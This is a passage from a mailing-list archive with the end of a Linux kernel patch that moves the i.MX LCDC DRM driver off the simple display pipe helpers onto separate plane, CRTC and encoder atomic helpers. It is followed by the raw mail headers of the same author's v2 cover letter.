- use 'commit' as name of struct drm_atomic_commit in atomic helpers
- improve control flow in *_crtc_helper_atomic_check() and
  *_plane_helper_atomic_check()
- Moved page-flip/vblank event handling out of plane update paths and into
  CRTC atomic_flush(), using atomic_flush and disable paths
- decide clock disable by old crtc state
- add calls to drm_crtc_vblank_on() and drm_crtc_vblank_off() in crtc
  atomic_enable() and atomic_disbale()
- test crtc_state->enable before mode size check
- Link to v1: https://patch.msgid.link/20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com
---
 drivers/gpu/drm/imx/lcdc/imx-lcdc.c | 217 ++++++++++++++++++++++++++----------
 1 file changed, 159 insertions(+), 58 deletions(-)

diff --git a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
index f52832b43aca..78eac2c4a54c 100644
--- a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
+++ b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
@@ -14,9 +14,9 @@
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_of.h>
+#include <drm/drm_plane_helper.h>
 #include <drm/drm_print.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
 #include <linux/bitfield.h>
 #include <linux/clk.h>
@@ -102,7 +102,9 @@
 
 struct imx_lcdc {
 	struct drm_device drm;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 	struct drm_connector *connector;
 	void __iomem *base;
 
@@ -135,14 +137,13 @@ static unsigned int imx_lcdc_get_format(unsigned int drm_format)
 	}
 }
 
-static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
+static void imx_lcdc_update_hw_registers(struct drm_crtc *crtc,
 					 struct drm_plane_state *old_state,
 					 bool mode_set)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane_state *new_state = pipe->plane.state;
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
+	struct drm_plane_state *new_state = lcdc->plane.state;
 	struct drm_framebuffer *fb = new_state->fb;
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
 	u32 lpcr, lvcr, lhcr;
 	u32 framesize;
 	dma_addr_t addr;
@@ -188,15 +189,16 @@ static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
 		clk_prepare_enable(lcdc->clk_per);
 }
 
-static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *crtc_state,
-				 struct drm_plane_state *plane_state)
+static void imx_lcdc_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
 {
 	int ret;
 	int clk_div;
 	int bpp;
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
-	struct drm_display_mode *mode = &pipe->crtc.mode;
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_plane_state *plane_state = lcdc->plane.state;
+	struct drm_display_mode *mode = &cstate->mode;
 	struct drm_display_info *disp_info = &lcdc->connector->display_info;
 	const int hsync_pol = (mode->flags & DRM_MODE_FLAG_PHSYNC) ? 0 : 1;
 	const int vsync_pol = (mode->flags & DRM_MODE_FLAG_PVSYNC) ? 0 : 1;
@@ -231,40 +233,46 @@ static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
 
 	ret = clk_prepare_enable(lcdc->clk_ipg);
 	if (ret) {
-		dev_err(pipe->crtc.dev->dev, "Cannot enable ipg clock: %pe\n", ERR_PTR(ret));
+		dev_err(crtc->dev->dev, "Cannot enable ipg clock: %pe\n", ERR_PTR(ret));
 		return;
 	}
 	ret = clk_prepare_enable(lcdc->clk_ahb);
 	if (ret) {
-		dev_err(pipe->crtc.dev->dev, "Cannot enable ahb clock: %pe\n", ERR_PTR(ret));
+		dev_err(crtc->dev->dev, "Cannot enable ahb clock: %pe\n", ERR_PTR(ret));
 
 		clk_disable_unprepare(lcdc->clk_ipg);
 
 		return;
 	}
 
-	imx_lcdc_update_hw_registers(pipe, NULL, true);
+	imx_lcdc_update_hw_registers(crtc, NULL, true);
 
 	/* Enable VBLANK Interrupt */
 	writel(INTR_EOF, lcdc->base + IMX21LCDC_LIER);
+
+	drm_crtc_vblank_on(crtc);
 }
 
-static void imx_lcdc_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void imx_lcdc_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+						struct drm_atomic_commit *commit)
 {
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
-	struct drm_crtc *crtc = &lcdc->pipe.crtc;
+	struct drm_crtc_state *old_crtc_state = drm_atomic_get_old_crtc_state(commit, crtc);
+	struct drm_crtc_state *new_crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
 	struct drm_pending_vblank_event *event;
 
+	drm_crtc_vblank_off(crtc);
+
 	clk_disable_unprepare(lcdc->clk_ahb);
 	clk_disable_unprepare(lcdc->clk_ipg);
 
-	if (pipe->crtc.enabled)
+	if (old_crtc_state->enable)
 		clk_disable_unprepare(lcdc->clk_per);
 
 	spin_lock_irq(&lcdc->drm.event_lock);
-	event = crtc->state->event;
+	event = new_crtc_state->event;
 	if (event) {
-		crtc->state->event = NULL;
+		new_crtc_state->event = NULL;
 		drm_crtc_send_vblank_event(crtc, event);
 	}
 	spin_unlock_irq(&lcdc->drm.event_lock);
@@ -273,17 +281,20 @@ static void imx_lcdc_pipe_disable(struct drm_simple_display_pipe *pipe)
 	writel(0, lcdc->base + IMX21LCDC_LIER);
 }
 
-static int imx_lcdc_pipe_check(struct drm_simple_display_pipe *pipe,
-			       struct drm_plane_state *plane_state,
-			       struct drm_crtc_state *crtc_state)
+static int imx_lcdc_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
 {
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_crtc_state *old_crtc_state = drm_atomic_get_old_crtc_state(commit, crtc);
 	const struct drm_display_mode *mode = &crtc_state->mode;
-	const struct drm_display_mode *old_mode = &pipe->crtc.state->mode;
+	const struct drm_display_mode *old_mode = &old_crtc_state->mode;
+	int ret;
 
-	if (mode->hdisplay < LCDC_MIN_XRES || mode->hdisplay > LCDC_MAX_XRES ||
-	    mode->vdisplay < LCDC_MIN_YRES || mode->vdisplay > LCDC_MAX_YRES ||
-	    mode->hdisplay % 0x10) { /* must be multiple of 16 */
-		drm_err(pipe->crtc.dev, "unsupported display mode (%u x %u)\n",
+	if (crtc_state->enable &&
+	    (mode->hdisplay < LCDC_MIN_XRES || mode->hdisplay > LCDC_MAX_XRES ||
+	     mode->vdisplay < LCDC_MIN_YRES || mode->vdisplay > LCDC_MAX_YRES ||
+	     mode->hdisplay % 0x10)) { /* must be multiple of 16 */
+		drm_err(crtc->dev, "unsupported display mode (%u x %u)\n",
 			mode->hdisplay, mode->vdisplay);
 		return -EINVAL;
 	}
@@ -292,46 +303,116 @@ static int imx_lcdc_pipe_check(struct drm_simple_display_pipe *pipe,
 		old_mode->hdisplay != mode->hdisplay ||
 		old_mode->vdisplay != mode->vdisplay;
 
-	return 0;
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
 }
 
-static void imx_lcdc_pipe_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_state)
+static void imx_lcdc_plane_helper_atomic_update(struct drm_plane *plane,
+						struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane_state *new_state = pipe->plane.state;
+	struct drm_plane_state *old_state = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_plane_state *new_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc *crtc = new_state->crtc ?: old_state->crtc;
 	struct drm_framebuffer *fb = new_state->fb;
 	struct drm_framebuffer *old_fb = old_state->fb;
 	struct drm_crtc *old_crtc = old_state->crtc;
 	bool mode_changed = false;
 
+	if (!fb)
+		return;
+
 	if (old_fb && old_fb->format != fb->format)
 		mode_changed = true;
 	else if (old_crtc != crtc)
 		mode_changed = true;
 
-	imx_lcdc_update_hw_registers(pipe, old_state, mode_changed);
+	imx_lcdc_update_hw_registers(crtc, old_state, mode_changed);
+}
 
-	if (event) {
-		crtc->state->event = NULL;
+static int imx_lcdc_plane_helper_atomic_check(struct drm_plane *plane,
+					      struct drm_atomic_commit *commit)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
 
-		spin_lock_irq(&crtc->dev->event_lock);
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
 
-		if (crtc->state->active && drm_crtc_vblank_get(crtc) == 0)
-			drm_crtc_arm_vblank_event(crtc, event);
-		else
-			drm_crtc_send_vblank_event(crtc, event);
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
 
-		spin_unlock_irq(&crtc->dev->event_lock);
-	}
+static const struct drm_plane_helper_funcs imx_lcdc_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= imx_lcdc_plane_helper_atomic_check,
+	.atomic_update	= imx_lcdc_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs imx_lcdc_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static void imx_lcdc_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *new_crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = new_crtc_state->event;
+
+	if (!event)
+		return;
+
+	new_crtc_state->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	if (new_crtc_state->active && drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+	spin_unlock_irq(&crtc->dev->event_lock);
 }
 
-static const struct drm_simple_display_pipe_funcs imx_lcdc_pipe_funcs = {
-	.enable = imx_lcdc_pipe_enable,
-	.disable = imx_lcdc_pipe_disable,
-	.check = imx_lcdc_pipe_check,
-	.update = imx_lcdc_pipe_update,
+static const struct drm_crtc_helper_funcs imx_lcdc_crtc_helper_funcs = {
+	.atomic_check	= imx_lcdc_crtc_helper_atomic_check,
+	.atomic_enable	= imx_lcdc_crtc_helper_atomic_enable,
+	.atomic_disable	= imx_lcdc_crtc_helper_atomic_disable,
+	.atomic_flush	= imx_lcdc_crtc_helper_atomic_flush,
+};
+
+static int imx_lcdc_crtc_enable_vblank(struct drm_crtc *crtc)
+{
+	return 0;
+}
+
+static void imx_lcdc_crtc_disable_vblank(struct drm_crtc *crtc)
+{
+}
+
+static const struct drm_crtc_funcs imx_lcdc_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= imx_lcdc_crtc_enable_vblank,
+	.disable_vblank		= imx_lcdc_crtc_disable_vblank,
+};
+
+static const struct drm_encoder_funcs imx_lcdc_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static const struct drm_mode_config_funcs imx_lcdc_mode_config_funcs = {
@@ -369,7 +450,7 @@ MODULE_DEVICE_TABLE(of, imx_lcdc_of_dev_id);
 static irqreturn_t imx_lcdc_irq_handler(int irq, void *arg)
 {
 	struct imx_lcdc *lcdc = arg;
-	struct drm_crtc *crtc = &lcdc->pipe.crtc;
+	struct drm_crtc *crtc = &lcdc->crtc;
 	unsigned int status;
 
 	status = readl(lcdc->base + IMX21LCDC_LISR);
@@ -387,6 +468,9 @@ static int imx_lcdc_probe(struct platform_device *pdev)
 	struct imx_lcdc *lcdc;
 	struct drm_device *drm;
 	struct drm_bridge *bridge;
+	struct drm_plane *plane;
+	struct drm_crtc *crtc;
+	struct drm_encoder *encoder;
 	int irq;
 	int ret;
 	struct device *dev = &pdev->dev;
@@ -428,23 +512,40 @@ static int imx_lcdc_probe(struct platform_device *pdev)
 	if (ret)
 		return dev_err_probe(dev, ret, "Cannot initialize mode configuration structure\n");
 
-	/* CRTC, Plane, Encoder */
-	ret = drm_simple_display_pipe_init(drm, &lcdc->pipe,
-					   &imx_lcdc_pipe_funcs,
-					   imx_lcdc_formats,
-					   ARRAY_SIZE(imx_lcdc_formats), NULL, NULL);
+	plane = &lcdc->plane;
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &imx_lcdc_plane_funcs,
+				       imx_lcdc_formats,
+				       ARRAY_SIZE(imx_lcdc_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret < 0)
+		return dev_err_probe(drm->dev, ret, "Cannot initialize primary plane\n");
+	drm_plane_helper_add(plane, &imx_lcdc_plane_helper_funcs);
+
+	crtc = &lcdc->crtc;
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&imx_lcdc_crtc_funcs, NULL);
+	if (ret < 0)
+		return dev_err_probe(drm->dev, ret, "Cannot initialize CRTC\n");
+	drm_crtc_helper_add(crtc, &imx_lcdc_crtc_helper_funcs);
+
+	encoder = &lcdc->encoder;
+	ret = drm_encoder_init(drm, encoder, &imx_lcdc_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
 	if (ret < 0)
-		return dev_err_probe(drm->dev, ret, "Cannot setup simple display pipe\n");
+		return dev_err_probe(drm->dev, ret, "Cannot initialize encoder\n");
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
 
 	ret = drm_vblank_init(drm, drm->mode_config.num_crtc);
 	if (ret < 0)
 		return dev_err_probe(drm->dev, ret, "Failed to initialize vblank\n");
 
-	ret = drm_bridge_attach(&lcdc->pipe.encoder, bridge, NULL, DRM_BRIDGE_ATTACH_NO_CONNECTOR);
+	ret = drm_bridge_attach(encoder, bridge, NULL, DRM_BRIDGE_ATTACH_NO_CONNECTOR);
 	if (ret)
 		return dev_err_probe(drm->dev, ret, "Cannot attach bridge\n");
 
-	lcdc->connector = drm_bridge_connector_init(drm, &lcdc->pipe.encoder);
+	lcdc->connector = drm_bridge_connector_init(drm, encoder);
 	if (IS_ERR(lcdc->connector))
 		return dev_err_probe(drm->dev, PTR_ERR(lcdc->connector), "Cannot init bridge connector\n");
 

---
base-commit: 3696d07837d1df13a5603d77f667685e7dfb3c53
change-id: 20260704-drm-simple-kms-removal-01a031c6a129

Best regards,
-- 
Ze Huang <ze.huang@oss.qualcomm.com>



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:02:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:02:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363562.1615137 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHzb-0001E6-A5; Thu, 16 Jul 2026 09:02:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363562.1615137; Thu, 16 Jul 2026 09:02:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHzb-0001Dz-6b; Thu, 16 Jul 2026 09:02:55 +0000
Received: by outflank-mailman (input) for mailman id 1363562;
 Thu, 16 Jul 2026 09:02:53 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkHzZ-0001Dp-6K
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:02:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkHzX-00GbEm-EV
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:02:51 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e3a-bab6-0a2a0a5309dd-0a2a450cebea-10
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:02:51 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e39-f479-0a2a450c0019-cddcb48344a4-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:02:50 +0200
Received: from pps.filterd (m0279868.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G83AS52123862
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:02:49 GMT
Received: from mail-pl1-f200.google.com (mail-pl1-f200.google.com
 [209.85.214.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4feuex071t-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:02:48 +0000 (GMT)
Received: by mail-pl1-f200.google.com with SMTP id
 d9443c01a7336-2cca5e0a0c9so124154485ad.1
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:02:48 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.02.41
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:02:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-Id:MIME-Version:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=qcppdkim1; bh=ublGuK2L8LkFww+I8N33BP
	NROB2FHlpEAQq3id5WGFg=; b=V+6oa4N+LgdZwM5OLLMLzcpu+E7cXBM2MjtCEL
	paYclXuXv45UgosyH+b9jNiKowTXide2Ruhznp2OXf7vih/6t8cP9bhAYTrzPSt/
	jwyj/Kl71gtpnD4kZrMhdE08ty+lQDmLltP4kJyeqX/U1d3yIHP+be9yi19Bjbyj
	SH5VGFy1EQnvdryRsoFC4scN7YkeMd7XyOzadCndh4iPReYTiK/1SpI9rejhWLFs
	J889JR4PrWpy90cTbVS6USh7agUADPwTnK6TH/bG9yig6w22YsSkxL9A7Z4ZAD3m
	qqv71vdY/Wi3BhnG0Ug0fBLjBQLCOvcd6SUZuiNjnMDruDiw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192568; x=1784797368; darn=lists.xenproject.org;
        h=cc:to:content-transfer-encoding:content-type:mime-version
         :message-id:date:subject:from:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=ublGuK2L8LkFww+I8N33BPNROB2FHlpEAQq3id5WGFg=;
        b=cyNyZIaZGxAzrkdbExFYxiij1676hcaXg3Nz7w8rbFhf8xEoEFyLgNuEB0bDIGmHCi
         0yvSQF7jj91aJztN+ltiDBt7deDMYKPiJTBOSad8sBLOsQi5bwcynyRhyBWKuRogm+pc
         FxFYlLQYuCHui7GsWK6FFha5JHUCEPb7QMF08liVHxpEhs/WeOtkyHROKsYMirEz+9hT
         rUNZJVFpTnsz/LrKrpiXw8YZRApftOfllLdBcgZOVTJ0d4i6w9iuYzshtzuh9N8+Uz50
         1uYowYeowQDJCWN7JYhS8y6lKLu4Bj2WYL5ZG0Qu9IwcLSGOfwwbS29Rp4G6fzuCM2lF
         ZlyQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192568; x=1784797368;
        h=cc:to:content-transfer-encoding:content-type:mime-version
         :message-id:date:subject:from:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=ublGuK2L8LkFww+I8N33BPNROB2FHlpEAQq3id5WGFg=;
        b=SW5ogwHAolDZXEbV/ySDWs5q+bqtHGumFge+Y+hEXfcznYRpVadw6JPm1vkg73Ozuw
         Zk7N29bCF30kbTHKdWPqkdI0kXs7P7icfkJSXcSRFzJS8TH4+fvhfIcqk1e3MQUM5iQg
         TFcJ1fZ3eDa/K0KPzYvVzOieFlR7TabpzJzpt74A3icm3sooaCSYPO62OThnIPfROWqI
         Qukl9vOW3ax17UtLlFVrSt0U0JBOdp4YDkVXnh+Ww7DuwfTr+3cvI1K9hRfTP3obVBQe
         bX8XIyz8fs2ojC/L+RY8kwLaiZLQVaqxFjTJquoi2O0m58eVdXnVTfQ+WlCYvHrVTHa9
         Oi0g==
X-Forwarded-Encrypted: i=1; AHgh+Rqu4fkL2dN3wS9qXhsr4YUOSGrSXqvBsHTSa7s/1syTzshjYA18bb5j6+3vm4NMOZyf6HWItTrSdlA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YySEGm9jHWBsoatEVloRVXsE6MoKNlwC8Jz+jdCHN0i4/fjSBSg
	6kXI/KeZctB8yfg9NssFDkAASwnkFs6LGvLprY2r2Rtk4rniZndWy8KSrMymnIIGBmsxJMchEhy
	LfGr3DxUxQkLXLGwStKVkEHV2LjQN+PYvaLzWm40KjnsSXsQf+p+6rfpF/IQUDTuV2NPLKczmpT
	YsxfIH
X-Gm-Gg: AfdE7cnAPtdNSertOLwN9tYjfNB0w62dM10FWeLmov3qsFeP1fge6oDvFkR8ZUM0fSG
	FjOHiji89yl6vqsx3ZmevxmXlrBqakX/TUQOsRtwPZr9oGAV4SwSCJJsAOHuUMDsFpkG9OkWBqO
	llMccBwvjQ4MgTp7OgWEE9Y1eIvdWSKd1oG6cDHwpAtgsHHrPf9ub71oKW2ZFDhK3EZ+h7+qbTW
	dOofzb0eTTwSxAKlhWxdU+bnAmR5pfvTvBWcAEZMgALP6BAvtnxQsc6Nj5R0Ql+fZ9bmVOZh3Rl
	mQnk5Ae8C+SnuKo+iOY3s+a8XwybrvBnE0pPLSoOXmd0jxh+x3GR5eEsW8xUR1nATffZBCIFrkU
	UAQf6Cflqq/sfdh0Nl2N7
X-Received: by 2002:a17:902:d4c7:b0:2ce:faa6:7cbb with SMTP id d9443c01a7336-2cf03bd52fcmr58054665ad.4.1784192568030;
        Thu, 16 Jul 2026 02:02:48 -0700 (PDT)
X-Received: by 2002:a17:902:d4c7:b0:2ce:faa6:7cbb with SMTP id d9443c01a7336-2cf03bd52fcmr58054215ad.4.1784192567515;
        Thu, 16 Jul 2026 02:02:47 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Subject: [PATCH v2 0/8] drm: replace simple display pipe users with atomic
 helpers
Date: Thu, 16 Jul 2026 17:01:52 +0800
Message-Id: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIAAKeWGoC/3WOwQ6CMBBEf4Xs2TVtUYye/A/jodRVq5RitxAM4
 d9t0auXSSaZmTcTMAVLDIdigkCDZevbZNSqAHPX7Y3QXpIHJVQldmKDl+CQresawqdjDOT8oBs
 UUotSmkpLtYdU7gJd7bgMn85fz339IBPz2i8R6NUnYvzGoNZMaLxzNh6KzGlpjJjJKCpUO8hDd
 8vRh/dyeJBL7/dt++/bIFFgvSFptNiWlSqPnnn96nWTYeskcJ7n+QMga11FDAEAAA==
X-Change-ID: 20260704-drm-simple-kms-removal-01a031c6a129
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192559; l=4273;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=LslnXr/GYqt7lILfSX6H30ANs5TVBAPc61jkQsfXePo=;
 b=Qn3SgZ3Jcpq2dbsoxobIntKn1Fa949LtJINyO/lyXEjkZuMSQIFchq6+tnE8WqT7IXdz+1rFS
 ByTjQjwu366A0YatYIUCp3ydGB4Kf09fwhed1OK9kDkxik/D9RYfMki
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Authority-Analysis: v=2.4 cv=JeeMa0KV c=1 sm=1 tr=0 ts=6a589e39 cx=c_pps
 a=IZJwPbhc+fLeJZngyXXI0A==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=ZpdpYltYx_vBUK5n70dp:22
 a=bC-a23v3AAAA:8 a=EUspDBNiAAAA:8 a=fqn4YNmA52JUfYToRRoA:9 a=QEXdDO2ut3YA:10
 a=uG9DUKGECoFWVXl0Dc02:22 a=FO4_E8m0qiDe52t0p3_H:22
X-Proofpoint-ORIG-GUID: 27JCUbJjofowraKhzRmAqEepxOF_Q6bP
X-Proofpoint-GUID: 27JCUbJjofowraKhzRmAqEepxOF_Q6bP
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfXzmkM89iKIgTK
 WKxBmXkdxP0vG+4PskoIoxgywCgZx1WU9OCY8/runoTSPMvsesAlqaR89PJvDtYh9bubN9vxD7q
 L0t0Q5RwwWLvnNKVA7uXf6FaUa5vB4Y=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX2bC+34SKxe0W
 gkmOI2hbJFS6P/D7B5WktXuKDS93FD9cUcn/LvQ2a3dgM96HmMtaJ7JDl+ANkIn3Fb+ftcYi9nx
 AUW97mM1vU3bLv67yQpBoewXSZ2oNm2cu6JLojOEXZUH7HozBap01up3epnDiBpYjNam+xtXvTn
 vcfwLNMwYbRgl1nXOYbztRMHo8NwxCvLzbTyRHm6V7GgkjV66QPlH8t4IRjmgYScMQdBTbO3D8J
 Y+XHrkk+tRtd/lnB0i2+XoKT8rVTUuMqNgYSAw3RfikB9ekUfWnXeUJtKvG3UTwp4WBHas8bgcf
